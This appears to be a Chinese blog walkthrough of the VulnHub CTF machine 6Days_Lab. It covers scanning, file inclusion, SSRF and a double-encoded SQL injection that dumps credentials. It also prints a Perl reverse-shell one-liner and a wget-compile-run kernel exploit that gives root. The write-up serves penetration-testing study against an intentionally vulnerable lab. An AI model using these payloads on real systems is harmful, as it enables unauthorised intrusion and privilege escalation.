VM - 6Days_Lab-v1.0.1 的破解

青蛙愛輪滑發表於2019-02-23

本文主要記錄對 6Days_Lab-v1.0.1 的滲透學習過程,測試的 VM 主機主要來源 www.vulnhub.com
部落格集:面向 CTF 的 VM 破解系列
下載連結:6Days_Lab-v1.0.1

  1. 初始安裝,不知道IP,首先獲取IP

     Currently scanning: 172.16.154.0/16   |   Screen View: Unique Hosts                                            
                                                                                                                                                                                                                
     15 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 900                                                                                                                            
     _____________________________________________________________________________
       IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
     -----------------------------------------------------------------------------
     10.10.10.152    00:0c:29:ed:93:0b      5     300  VMware, Inc.                                                                                                                              
     10.10.10.1      00:50:56:c0:00:08      5     300  VMware, Inc.                                                                                                                              
     10.10.10.2      00:50:56:fb:16:b2      5     300  VMware, Inc. 
    
  2. 獲取IP是 10.10.10.152,使用 nmap 進行掃描

    Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-22 11:34 EST
    Nmap scan report for 10.10.10.152
    Host is up (0.00032s latency).
    Not shown: 997 closed ports
    PORT     STATE    SERVICE    VERSION
    22/tcp   open     ssh        OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    80/tcp   open     http       Apache httpd 2.2.22 ((Ubuntu))
    |_http-server-header: Apache/2.2.22 (Ubuntu)
    |_http-title: Rashomon IPS - Main Page
    8080/tcp filtered http-proxy
    MAC Address: 00:0C:29:ED:93:0B (VMware)
    Device type: general purpose
    Running: Linux 3.X|4.X
    OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
    OS details: Linux 3.2 - 4.9
    Network Distance: 1 hop
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    

    可以看到開放了22、80、8080埠

  3. 首先注意到 80 埠,使用瀏覽器訪問,看到的提示資訊並沒有什麼值得注意的。此時使用 burpsuite 抓包看一下是否能發現線索。
    發現在 forward 主頁面之後,又請求了一個新頁面

    GET /image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQLk%2fV4OpiaoMJ7I%2fAAAAAAAAAiw%2f8kuCpTOpRWUAdp2p4GpegWdnOwxjwHNYQCLcB%2fs1600%2fphoto.jpg HTTP/1.1
    Host: 10.10.10.152
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://10.10.10.152/
    Connection: close
    Cache-Control: max-age=0
    
  4. 使用瀏覽器請求 “http:// 10.10.10.152/image.php ”會報錯
    在這裡插入圖片描述注意到使用瀏覽器請求 “http:// 10.10.10.152 ” 主頁時有一個填寫促銷程式碼的地方,抓包發現是請求的 “/checkpromo.php ”頁面,由於沒有促銷程式碼,所以先放一放等會再來看。提示資訊中有一個促銷程式碼“NONEEDFORPENTEST”,但是是過時的。

  5. 既然主頁不能發現有價值的東西,那麼就用 dirb 暴力破解目錄

    ---- Scanning URL: http://10.10.10.152/ ----
    + http://10.10.10.152/cgi-bin/ (CODE:403|SIZE:290)                                                                                                                                           
    + http://10.10.10.152/config (CODE:200|SIZE:0)                                                                                                                                               
    + http://10.10.10.152/create (CODE:200|SIZE:40)                                                                                                                                              
    + http://10.10.10.152/delete (CODE:200|SIZE:40)                                                                                                                                              
    + http://10.10.10.152/drop (CODE:200|SIZE:40)                                                                                                                                                
    + http://10.10.10.152/exec (CODE:200|SIZE:40)                                                                                                                                                
    + http://10.10.10.152/image (CODE:200|SIZE:0)                                                                                                                                                
    ==> DIRECTORY: http://10.10.10.152/img/                                                                                                                                                      
    + http://10.10.10.152/index (CODE:200|SIZE:1272)                                                                                                                                             
    + http://10.10.10.152/index.php (CODE:200|SIZE:1272)                                                                                                                                         
    + http://10.10.10.152/insert (CODE:200|SIZE:40)                                                                                                                                              
    + http://10.10.10.152/list-create (CODE:200|SIZE:40)                                                                                                                                         
    + http://10.10.10.152/select (CODE:200|SIZE:40)                                                                                                                                              
    --> Testing: http://10.10.10.152/servers 
    

    跑起來之後發現到 “/servers” 的位置程式暫停了,猜測是目標主機有防禦措施

  6. 根據爆破出來的目錄進行嘗試訪問
    發現存在 “http:// 10.10.10.152/server-status” 、“http:// 10.10.10.152/img/”和 “http:// 10.10.10.152/image”是可以訪問的
    通過訪問“http:// 10.10.10.152/server-status” 可以找到以下頁面

    30-0	6103	0/466/1331	_ 	0.06	125	21011	0.0	0.13	0.36 	127.0.0.1	127.0.1.1	GET /image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQ
    31-0	6104	0/468/1334	_ 	0.06	117	0	0.0	0.13	0.43 	127.0.0.1	127.0.1.1	GET /server-status HTTP/1.1
    

    訪問網址“http:// 10.10.10.152/image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQ” 發現提示報錯資訊:
    在這裡插入圖片描述 使用 burpsuite 抓包,無響應結果

  7. 根據 URL 的結結構可以嘗試是否存在檔案包含漏洞(遠端檔案包括或者本地檔案包含)
    嘗試包含主頁檔案“index.php”,構造URL“http:// 10.10.10.152/image.php?src=index.php”
    提示錯誤資訊:
    在這裡插入圖片描述使用 burpsuite 抓包,發現可以響應主頁資訊:
    在這裡插入圖片描述嘗試包含自己,發現可以看到“image.php”原始碼:
    在這裡插入圖片描述
    探測檢視 “checkpromo.php” 原始碼:
    在這裡插入圖片描述探測檢視 “config.php” 檔案原始碼:
    在這裡插入圖片描述

  8. 接下來嘗試檢測檢查預設的 apache 站點
    在這裡插入圖片描述發現存在8080埠。網站實際上在埠8080上執行,它只接受本地連線,然後由埠80轉發。

    使用 SSRF漏洞訪問測試驗證是否是代理轉發
    在這裡插入圖片描述 提示程式碼過期,驗證成功。

  9. sql注入獲取使用者名稱和密碼

    經過一番測試,發現需要使用雙層 url編碼
    使用 python 指令碼進行雙層 URL 編碼

    # python 二次URL編碼語句
    # python3
    from urllib.parse import quote
    #quote(quote("待編碼語句"))
    quote(quote("aaaa'union all select concat(username,'~~~',password),2 from fancydb.users#"))
    #aaaa為填寫的優惠碼
    

    將編碼之後得到的“aaaa%2527union%2520all%2520select%2520concat%2528username%252C%2527~~~%2527%252Cpassword%2529%252C2%2520from%2520fancydb.users%2523”
    放入burpsuite:
    在這裡插入圖片描述
    成功獲取使用者名稱和密碼:andrea~SayNoToPentests

    驗證使用者名稱:
    在這裡插入圖片描述

  10. ssh嘗試登入 andrea~SayNoToPentests

    # SSH遠端連線
    [c:\~]$ ssh andrea@10.10.10.152
    andrea@cypm:~$ id
    andrea@cypm:~$ uname -a
    andrea@cypm:~$ ls -alh
    

    發現無法執行任何命令,有可能是回顯資料丟失,嘗試反向shell連線

    # kali 監聽埠
    root@kali:~# nc -nvlp 4444
    listening on [any] 4444 ...
    
    
    # 6Days_Lab的原始shell中
    andrea@cypm:~$ perl -e 'use Socket;$i="10.10.10.151";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    
    # 此時kali中接收到反彈的shell
    $ uname -a
    Linux cypm 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
    $ ls
    dog
    
  11. 將原始的shell環境轉換成 bash shell 環境

    $ python -c 'import pty; pty.spawn("/bin/bash")' 
    andrea@cypm:~$ id
    id
    uid=1001(andrea) gid=1001(andrea) groups=1001(andrea)
    andrea@cypm:~$ uname -a
    uname -a
    Linux cypm 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
    
    
  12. 提權

    已知linux 核心版本是 Linux cypm 3.13.0-32-generic,可以考慮核心提權

    # 下載並編譯原始檔
    andrea@cypm:~$ wget http://10.10.10.151/37292.c 
    andrea@cypm:~$ ls
    ls
    37292.c  dog
    andrea@cypm:~$ gcc -o 37292 37292.c
    gcc -o 37292 37292.c
    andrea@cypm:~$ chmod +x 37292
    chmod +x 37292
    andrea@cypm:~$ ./37292	
    ./37292
    spawning threads
    mount #1
    mount #2
    child threads done
    /etc/ld.so.preload created
    creating shared library
    # id
    id
    uid=0(root) gid=0(root) groups=0(root),1001(andrea)
    # python -c 'import pty; pty.spawn("/bin/bash")' 
    python -c 'import pty; pty.spawn("/bin/bash")' 
    root@cypm:/home/andrea# id
    id
    uid=0(root) gid=0(root) groups=0(root),1001(andrea)
    root@cypm:/home/andrea#
    
  13. 獲取 flag

    root@cypm:/root# ls /
    ls /
    bin   etc   initrd.img  media  proc  sbin     sys  var
    boot  flag  lib         mnt    root  selinux  tmp  vmlinuz
    dev   home  lost+found  opt    run   srv      usr
    root@cypm:/root# 
    

相關文章